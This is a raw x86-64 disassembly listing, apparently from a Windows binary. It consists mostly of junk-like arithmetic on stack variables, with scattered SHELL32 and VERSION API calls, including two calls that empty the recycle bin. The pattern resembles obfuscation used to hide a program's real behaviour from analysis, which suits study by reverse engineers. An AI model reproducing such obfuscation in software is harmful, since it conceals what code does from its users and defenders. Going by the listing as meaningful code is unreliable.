movzx eax, word [rsp + 0x2b70]
movzx ecx, word [rsp + 0x1cf4]
add eax, ecx
mov rcx, qword [rsp + 0xdf98]
mov word [rcx], ax
lea rax, [rsp + 0xabf8]
mov qword [rsp + 0xe740], rax
movsx eax, byte [rsp + 0x440]
mov rcx, qword [rsp + 0xd2c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xe500]
mov byte [rcx], al
mov rax, qword [rsp + 0xdb10]
mov rax, qword [rax]
mov qword [rsp + 0xe748], rax
mov rax, qword [0x14019efc8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xda70]
mov qword [rsp + 0xe750], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe750]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6dc0], eax
movsx eax, word [rsp + 0x2bc8]
mov rcx, qword [rsp + 0xddb8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a7c], ax
movzx eax, word [rsp + 0x2c18]
movzx ecx, word [rsp + 0xdb0]
or eax, ecx
mov word [rsp + 0x1ec0], ax
mov rax, qword [rsp + 0xdda0]
mov rcx, qword [rsp + 0xe3f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14019d200], rax
movzx eax, word [rsp + 0x2ca0]
mov rcx, qword [rsp + 0xdf98]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2db8], ax
mov rax, qword [rsp + 0xdd30]
mov rax, qword [rax]
mov qword [rsp + 0xe758], rax
mov rax, qword [rsp + 0x91a8]
mov rcx, qword [rsp + 0xbce8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd408]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6d2c]
mov dword [rsp + 0x6fc0], eax
movsx eax, byte [rsp + 0x55b]
movsx ecx, byte [0x14019ef91]
shl eax, cl
mov byte [rsp + 0x3cc], al
mov rax, qword [rsp + 0xe708]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6e34]
sar eax, cl
mov dword [rsp + 0x58e8], eax
lea rax, [rsp + 0x36f]
mov qword [rsp + 0xe760], rax
mov rax, qword [rsp + 0x9f68]
mov rcx, qword [rsp + 0x9e28]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xde00], rax
mov rax, qword [rsp + 0xd9b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd398]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14019efb8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd928]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe1b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1308], ax
movzx eax, word [rsp + 0x2d0c]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d38], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ba0], ax
mov rax, qword [rsp + 0xded0]
mov qword [rsp + 0xe768], rax
movsx eax, byte [rsp + 0x1fa]
movsx ecx, byte [rsp + 0xda]
add eax, ecx
mov byte [rsp + 0x561], al
mov eax, dword [rsp + 0x586c]
mov ecx, dword [rsp + 0x6d6c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6250], eax
movsx eax, word [rsp + 0x2bd0]
mov rcx, qword [rsp + 0xd818]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe3c], ax
movzx eax, word [rsp + 0x1240]
movzx ecx, word [rsp + 0x2c3c]
and eax, ecx
mov word [rsp + 0x2d64], ax
mov rax, qword [rsp + 0xcac8]
mov rcx, qword [rsp + 0xb450]
xor rcx, rax
mov rax, rcx
mov qword [0x14019d0f0], rax
mov rax, qword [rsp + 0xd5a0]
mov rax, qword [rax]
mov qword [rsp + 0xe770], rax
mov rax, qword [rsp + 0xd650]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd088]
shl rax, cl
mov rcx, qword [rsp + 0xd478]
mov qword [rcx], rax
mov rax, qword [rsp + 0xda20]
mov rax, qword [rax]
mov qword [rsp + 0xe778], rax
movzx eax, word [rsp + 0xca8]
mov rcx, qword [rsp + 0xd8b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d1c], ax
movzx eax, byte [rsp + 0x4b7]
mov rcx, qword [rsp + 0xdc70]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x4de], al
mov rax, qword [rsp + 0xda60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5f5c]
sar eax, cl
mov dword [rsp + 0x5d00], eax
mov rax, qword [rsp + 0xd960]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5ba8]
shl eax, cl
mov dword [rsp + 0x69f4], eax
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov qword [rsp + 0xe780], rax
movzx eax, byte [0x14019ef97]
mov byte [0x14019ef9b], al
mov rax, qword [rsp + 0xd898]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14d0]
sub eax, ecx
mov rcx, qword [rsp + 0xd928]
mov word [rcx], ax
mov rax, qword [rsp + 0xde08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd470]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x22f8], ax
movzx eax, word [0x14019f36c]
mov rcx, qword [rsp + 0xe318]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c58], ax
mov rax, qword [rsp + 0xe650]
mov rcx, qword [rsp + 0xd500]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb100], rax
mov rax, qword [rsp + 0xd9a0]
mov rax, qword [rax]
mov qword [rsp + 0xe788], rax
mov rax, qword [0x14019f320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x559]
add eax, ecx
mov byte [rsp + 0x54c], al
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov dword [rsp + 0x6fc4], eax
movsx eax, word [rsp + 0x2dd4]
mov rcx, qword [rsp + 0xe348]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd398]
mov word [rcx], ax
mov rax, qword [rsp + 0xe458]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e04]
xor eax, ecx
mov word [0x14019d0a8], ax
mov rax, qword [rsp + 0x92b0]
mov rcx, qword [rsp + 0xe150]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xe570], rax
lea r9, [rsp + 0xdf50]
lea r8, [rsp + 0x2a30]
lea rdx, [rsp + 0x1e078]
lea rcx, [rsp + 0xe668]
call qword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [rsp + 0x6fc8], eax
mov rax, qword [rsp + 0xe2b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xda50]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1250], ax
mov eax, dword [rsp + 0x6eac]
mov rcx, qword [rsp + 0xd050]
mov qword [rsp + 0xe790], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe790]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xdbc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe6d0]
movzx eax, byte [rax]
mov byte [rsp + 0x566], al
mov eax, dword [rsp + 0x6dfc]
movzx ecx, al
mov eax, dword [0x14019d0b0]
shr eax, cl
mov rcx, qword [rsp + 0xd960]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd358]
mov rcx, qword [rsp + 0xdc00]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa448], rax
mov rax, qword [rsp + 0xd970]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe600]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2bf], al
movsx eax, word [rsp + 0x1810]
mov rcx, qword [rsp + 0xd750]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2b40], ax
movzx eax, word [rsp + 0x2c7c]
mov word [0x14019f3c0], ax
mov rax, qword [rsp + 0xd2a0]
mov rax, qword [rax]
mov qword [rsp + 0xe798], rax
mov rax, qword [rsp + 0x94b8]
mov rcx, qword [rsp + 0xe650]
mov qword [rsp + 0xe7a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe7a0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb198], rax
mov rax, qword [rsp + 0xdcf8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x29ac]
shl eax, cl
mov word [rsp + 0x16c8], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x24fc]
sub eax, ecx
mov word [rsp + 0x17c4], ax
mov rax, qword [rsp + 0xd9a0]
mov rcx, qword [rsp + 0xdb10]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xe278]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x52f]
mov byte [rsp + 0x567], al
mov eax, dword [rsp + 0x6b64]
mov ecx, dword [0x14019f2bc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d0c], eax
lea rdx, [rsp + 0xd668]
lea rcx, [rsp + 0x20890]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0x6f28], eax
mov rax, qword [rsp + 0xd388]
mov rax, qword [rax]
mov qword [rsp + 0xe7a8], rax
movsx eax, word [rsp + 0x2dd8]
mov rcx, qword [rsp + 0xe348]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x14019d108], ax
movzx eax, word [rsp + 0x2ae0]
movzx ecx, word [rsp + 0x2bbc]
sar eax, cl
mov word [rsp + 0x1bb0], ax
mov rax, qword [rsp + 0xd1a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x549]
or eax, ecx
mov byte [rsp + 0x4a1], al
lea rax, [rsp + 0x59f0]
mov qword [rsp + 0xe7b0], rax
mov rax, qword [rsp + 0xd880]
mov rcx, qword [0x14019f0d0]
mov qword [rsp + 0xe7b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe7b8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xe0f8], rax
lea rax, [rsp + 0x12a]
mov qword [rsp + 0xe7c0], rax
mov rax, qword [rsp + 0xd960]
mov ecx, dword [rsp + 0x6b64]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6edc], eax
mov rax, qword [rsp + 0xe5a0]
mov rcx, qword [rsp + 0xdea8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xadb8], rax
mov rax, qword [rsp + 0xdd10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xddb8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1e0c], ax
lea rax, [0x14019f03c]
mov qword [0x14019f3c8], rax
mov rax, qword [rsp + 0xdeb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe740]
mov qword [rsp + 0xe7c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe7c8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd3d0], rax
movzx eax, word [rsp + 0xe74]
mov word [rsp + 0x2e34], ax
movsx eax, word [rsp + 0x2b5c]
mov rcx, qword [rsp + 0xe0b8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2ba8], ax
mov rax, qword [rsp + 0xd830]
movzx ecx, al
mov rax, qword [rsp + 0xca50]
sar rax, cl
mov qword [rsp + 0xb860], rax
movsx eax, byte [rsp + 0x18d]
mov rcx, qword [rsp + 0xe450]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xe4b8]
mov byte [rcx], al
mov rax, qword [0x14019f158]
mov eax, dword [rax]
imul eax, dword [rsp + 0x6d5c]
mov rcx, qword [rsp + 0xdfa8]
mov dword [rcx], eax
lea rax, [rsp + 0xdd18]
mov qword [rsp + 0xe7d0], rax
movzx eax, word [rsp + 0x2b48]
mov rcx, qword [rsp + 0xdf78]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd700]
mov word [rcx], ax
mov rax, qword [rsp + 0xca28]
mov rcx, qword [0x14019d148]
xor rcx, rax
mov rax, rcx
mov qword [0x14019d208], rax
mov eax, dword [rsp + 0x5f48]
mov dword [rsp + 0x6fcc], eax
mov rax, qword [rsp + 0xd9e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe420]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4fa], al
movsx eax, word [rsp + 0x28e4]
movsx ecx, word [rsp + 0x13cc]
shl eax, cl
mov word [rsp + 0x1308], ax
mov rax, qword [rsp + 0xd7f0]
movzx eax, word [rax]
mov word [rsp + 0x2e38], ax
mov rax, qword [rsp + 0xd4f0]
mov rcx, qword [rsp + 0xc4d8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd390], rax
mov rax, qword [rsp + 0xdd00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x58c8]
shr eax, cl
mov dword [rsp + 0x5ff8], eax
mov rax, qword [rsp + 0xe340]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x54a]
sub eax, ecx
mov byte [rsp + 0x3c7], al
movsx eax, word [rsp + 0x1390]
mov rcx, qword [rsp + 0xe448]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xe148]
mov word [rcx], ax
movzx eax, word [rsp + 0x2e18]
movzx ecx, word [rsp + 0x14a0]
add eax, ecx
mov word [0x14019d1ec], ax
mov rax, qword [rsp + 0xe770]
mov qword [rsp + 0xe7d8], rax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [0x14019d190]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9e10], rax
mov rax, qword [rsp + 0xd780]
mov rcx, qword [rsp + 0xd408]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x94a0], rax
movsx eax, word [0x14019f024]
movsx ecx, word [rsp + 0x162c]
shl eax, cl
mov word [rsp + 0x151c], ax
mov r8d, 0x24
mov rdx, qword [rsp + 0xd360]
mov rcx, qword [rsp + 0xe7e0]
call qword [sym.imp.SHELL32.dll_ExtractIconW]
mov qword [rsp + 0xd540], rax
mov rax, qword [rsp + 0xe6b0]
movzx ecx, al
mov rax, qword [rsp + 0xce58]
shr rax, cl
mov qword [rsp + 0xe038], rax
lea rax, [rsp + 0x5b74]
mov qword [rsp + 0xe7e8], rax
mov rax, qword [rsp + 0xe4b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x529]
add eax, ecx
mov byte [rsp + 0x439], al
mov rax, qword [rsp + 0xe708]
mov eax, dword [rax]
mov dword [rsp + 0x6fd0], eax
movzx eax, byte [rsp + 0x42]
mov rcx, qword [rsp + 0xd1d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4de], al
movsx eax, word [0x14019f3b8]
mov rcx, qword [rsp + 0xd470]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x14019f16c], ax
mov rax, qword [rsp + 0xe4a8]
movzx eax, word [rax]
mov word [rsp + 0x2e3c], ax
lea rcx, [rsp + 0x1e430]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0xcf18], rax
mov r8d, 0xcf
mov rdx, qword [rsp + 0xd2c8]
mov rcx, qword [rsp + 0xe7f0]
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
mov dword [rsp + 0x6bc4], eax
movzx eax, word [rsp + 0x2a44]
movzx ecx, word [rsp + 0x17d4]
and eax, ecx
mov word [rsp + 0x2cd0], ax
mov rax, qword [0x14019f2b0]
mov rcx, qword [rsp + 0xd780]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xba80], rax
lea rax, [rsp + 0xde58]
mov qword [rsp + 0xe7f8], rax
mov rax, qword [rsp + 0xe5d8]
movsx eax, byte [rax]
movsx ecx, byte [0x14019ef92]
sar eax, cl
mov byte [rsp + 0x27f], al
mov rax, qword [rsp + 0xdff0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f74]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x60f4], eax
movsx eax, word [rsp + 0x1f68]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2c8c], ax
mov rax, qword [rsp + 0xdd28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b18], ax
lea rax, [rsp + 0xccf8]
mov qword [0x14019f3d0], rax
mov rax, qword [rsp + 0xd7a0]
movzx eax, word [rax]
mov word [rsp + 0x2e40], ax
mov rax, qword [0x14019d070]
mov rcx, qword [rsp + 0xd3f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b60], rax
mov rax, qword [rsp + 0xe6d8]
mov rcx, qword [rsp + 0xcfe8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9100], rax
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x537]
sub eax, ecx
mov byte [rsp + 0x4e1], al
mov rax, qword [0x14019f3b0]
mov rcx, qword [rsp + 0xa4f8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb650], rax
movzx eax, byte [rsp + 0x53d]
mov byte [rsp + 0x568], al
mov eax, dword [rsp + 0x6dbc]
movzx ecx, al
mov eax, dword [rsp + 0x6540]
shl eax, cl
mov dword [rsp + 0x5ce8], eax
mov eax, dword [rsp + 0x6d0c]
mov rcx, qword [rsp + 0xd118]
mov qword [rsp + 0xe800], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe800]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5974], eax
mov rax, qword [rsp + 0xe3f8]
movzx eax, word [rax]
mov word [0x14019f3d8], ax
movsx eax, word [rsp + 0x2a34]
mov rcx, qword [0x14019f388]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc28], ax
mov rax, qword [rsp + 0xdb00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd0c]
xor eax, ecx
mov word [rsp + 0x2aa8], ax
movzx eax, word [rsp + 0x2d08]
mov word [rsp + 0x2e44], ax
mov rax, qword [rsp + 0xe7f8]
mov rcx, qword [0x14019f1f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xdef0], rax
mov rax, qword [rsp + 0xe3c8]
movzx eax, byte [rax]
mov byte [rsp + 0x569], al
mov eax, dword [rsp + 0x6d28]
movzx ecx, al
mov eax, dword [rsp + 0x66f8]
shl eax, cl
mov dword [rsp + 0x6774], eax
mov rax, qword [rsp + 0xd818]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d48]
or eax, ecx
mov word [rsp + 0xbdc], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8b0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd94], ax
mov r8d, 0xc2
mov rdx, qword [rsp + 0xd2c8]
mov rcx, qword [rsp + 0xcea8]
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
mov dword [rsp + 0x6e4c], eax
mov rax, qword [rsp + 0x9ff8]
mov rcx, qword [rsp + 0xb198]
sub rcx, rax
mov rax, rcx
mov qword [0x14019f0e8], rax
mov rax, qword [0x14019f2b0]
mov rcx, qword [rsp + 0xd298]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe108], rax
lea rax, [rsp + 0xc048]
mov qword [rsp + 0xe808], rax
mov rax, qword [rsp + 0xd388]
mov rcx, qword [rsp + 0xad58]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xca28], rax
mov rax, qword [rsp + 0xd8c8]
movzx eax, word [rax]
mov word [rsp + 0x2e48], ax
mov eax, dword [rsp + 0x6d08]
mov ecx, dword [rsp + 0x6d30]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd050]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x3dd]
mov rcx, qword [rsp + 0xd740]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x527], al
movsx eax, byte [rsp + 0x55f]
mov rcx, qword [rsp + 0xd0a8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0xdf20]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6d68]
shr eax, cl
mov dword [rsp + 0x69f4], eax
mov rax, qword [rsp + 0xe5a0]
mov rax, qword [rax]
mov rcx, qword [0x14019f290]
xor rcx, rax
mov rax, rcx
mov qword [0x14019d210], rax
mov rax, qword [rsp + 0xe1b0]
movzx eax, word [rax]
mov word [rsp + 0x2e4c], ax
movsx eax, word [rsp + 0x2dac]
mov rcx, qword [rsp + 0xd878]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2d78], ax
movzx eax, word [0x14019f204]
mov rcx, qword [rsp + 0xda50]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2d2c], ax
mov rax, qword [rsp + 0xd000]
mov qword [rsp + 0xe810], rax
mov rax, qword [0x14019f158]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f50]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd198]
mov dword [rcx], eax
mov rax, qword [rsp + 0xadb8]
mov rcx, qword [rsp + 0xa700]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xac58], rax
mov rax, qword [rsp + 0xe7c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe450]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xe7], al
movzx eax, word [0x14019d034]
mov word [rsp + 0x2e50], ax
movzx eax, word [rsp + 0x2b88]
movzx ecx, word [rsp + 0x2400]
sar eax, cl
mov word [0x14019d188], ax
mov rax, qword [rsp + 0xc7a0]
mov rcx, qword [rsp + 0xd7a8]
mov qword [rsp + 0xe818], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe818]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x92b0], rax
movzx eax, word [0x14019d02c]
movzx ecx, word [rsp + 0x2b8c]
sub eax, ecx
mov word [rsp + 0xd60], ax
lea rax, [rsp + 0x511]
mov qword [rsp + 0xe820], rax
mov rax, qword [rsp + 0xe198]
mov ecx, dword [rsp + 0x6e64]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x60c4], eax
movsx eax, byte [rsp + 0x2b9]
movsx ecx, byte [rsp + 0x556]
add eax, ecx
mov byte [rsp + 0x392], al
mov rax, qword [rsp + 0xe278]
mov rcx, qword [rsp + 0xdc00]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd210], rax
mov eax, dword [rsp + 0x6454]
mov ecx, dword [0x14019f0c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b88], eax
lea rax, [rsp + 0x2c24]
mov qword [rsp + 0xe828], rax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov word [0x14019f3dc], ax
mov rax, qword [rsp + 0xd388]
mov rcx, qword [rsp + 0xd408]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xe0c0], rax
mov rax, qword [rsp + 0xe3f0]
mov rax, qword [rax]
mov qword [rsp + 0xe830], rax
movsx eax, word [rsp + 0x2b64]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xddb8]
mov word [rcx], ax
mov rax, qword [rsp + 0xe730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c04]
sar eax, cl
mov word [rsp + 0x185c], ax
movzx eax, byte [rsp + 0x55a]
mov byte [rsp + 0x56a], al
mov rax, qword [rsp + 0xdb10]
mov rcx, qword [rsp + 0xd1c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd328], rax
mov eax, dword [0x14019f0c8]
movzx ecx, al
mov eax, dword [rsp + 0x588c]
shl eax, cl
mov dword [rsp + 0x6970], eax
mov rax, qword [rsp + 0xd918]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdc68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe0c0], rax
mov rax, qword [rsp + 0xde08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xda00]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14019d064], ax
movzx eax, word [rsp + 0x1898]
mov rcx, qword [rsp + 0xd8b0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xe458]
mov word [rcx], ax
mov rax, qword [rsp + 0xe6d0]
movzx eax, byte [rax]
mov byte [rsp + 0x56b], al
mov rax, qword [rsp + 0xda28]
mov rcx, qword [rsp + 0xd480]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6e00], eax
mov rax, qword [rsp + 0xdd30]
mov rcx, qword [rsp + 0xdd68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9158], rax
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5b50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6edc], eax
mov rax, qword [rsp + 0xe580]
mov rax, qword [rax]
mov qword [rsp + 0xe838], rax
movsx eax, byte [rsp + 0x526]
movsx ecx, byte [rsp + 0x1e5]
add eax, ecx
mov byte [rsp + 0x27f], al
movsx eax, word [rsp + 0x2bd0]
movsx ecx, word [rsp + 0x2cd8]
xor eax, ecx
mov word [rsp + 0x2e4c], ax
mov rax, qword [rsp + 0xdf00]
movzx eax, word [rax]
mov word [0x14019f3e0], ax
mov rax, qword [rsp + 0xdc38]
mov qword [rsp + 0xe840], rax
mov rax, qword [rsp + 0xddc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d1c]
and eax, ecx
mov word [rsp + 0x2ba0], ax
movsx eax, word [rsp + 0x2bf8]
mov rcx, qword [rsp + 0xd770]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2714], ax
mov rax, qword [rsp + 0x8fa0]
movzx ecx, al
mov rax, qword [rsp + 0xe5e0]
sar rax, cl
mov qword [rsp + 0xe1e0], rax
mov rax, qword [rsp + 0xac58]
mov rcx, qword [rsp + 0xe010]
mov qword [rsp + 0xe848], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe848]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd340], rax
mov rax, qword [rsp + 0xd218]
movzx eax, byte [rax]
mov byte [rsp + 0x56c], al
mov rax, qword [rsp + 0xda70]
mov ecx, dword [rsp + 0x5870]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6f34], eax
movzx eax, word [rsp + 0x185c]
movzx ecx, word [0x14019f18c]
add eax, ecx
mov word [rsp + 0xd8c], ax
lea r9, [rsp + 0xe7e0]
mov r8d, 0xd8
mov edx, 0x7d
mov rcx, qword [rsp + 0xd9b0]
call sub.VERSION.dll_GetFileVersionInfoW
mov dword [rsp + 0x6fd4], eax
mov rax, qword [rsp + 0xd5c8]
mov rcx, qword [rsp + 0x98a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14019f150]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd480]
imul eax, dword [rax], 0x2db41d37
mov rcx, qword [rsp + 0xe7b0]
mov dword [rcx], eax
movzx eax, byte [0x14019ef90]
movzx ecx, byte [rsp + 0x4f6]
shl eax, cl
mov byte [rsp + 0x4de], al
movzx eax, word [rsp + 0x2e2c]
mov word [rsp + 0x2e54], ax
mov rax, qword [rsp + 0xd620]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b4c]
or eax, ecx
mov word [rsp + 0x2da8], ax
lea rax, [0x14019f218]
mov qword [rsp + 0xe850], rax
mov eax, dword [rsp + 0x6db8]
movzx ecx, al
mov eax, dword [rsp + 0x6fb4]
shr eax, cl
mov dword [rsp + 0x6d0c], eax
mov rax, qword [rsp + 0xd218]
movsx eax, byte [rax]
movsx ecx, byte [0x14019ef97]
add eax, ecx
mov byte [rsp + 0x3a7], al
movsx eax, word [rsp + 0x2a90]
mov rcx, qword [rsp + 0xd2d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11b4], ax
movzx eax, word [rsp + 0x269c]
mov rcx, qword [rsp + 0xd800]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14019f0e4], ax
mov rax, qword [rsp + 0xe190]
mov rcx, qword [rsp + 0xdc38]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9e8], rax
mov rax, qword [rsp + 0xdfa0]
mov rax, qword [rax]
mov qword [rsp + 0xe858], rax
mov rax, qword [rsp + 0xdfb0]
movzx ecx, al
mov rax, qword [rsp + 0xabf8]
sar rax, cl
mov rcx, qword [rsp + 0xda90]
mov qword [rcx], rax
movzx eax, word [rsp + 0x2b40]
mov word [rsp + 0x2e58], ax
mov rax, qword [rsp + 0xa498]
mov rcx, qword [rsp + 0xd3b8]
mov qword [rsp + 0xe860], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe860]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd4c8], rax
mov rax, qword [rsp + 0xd628]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x21c]
or eax, ecx
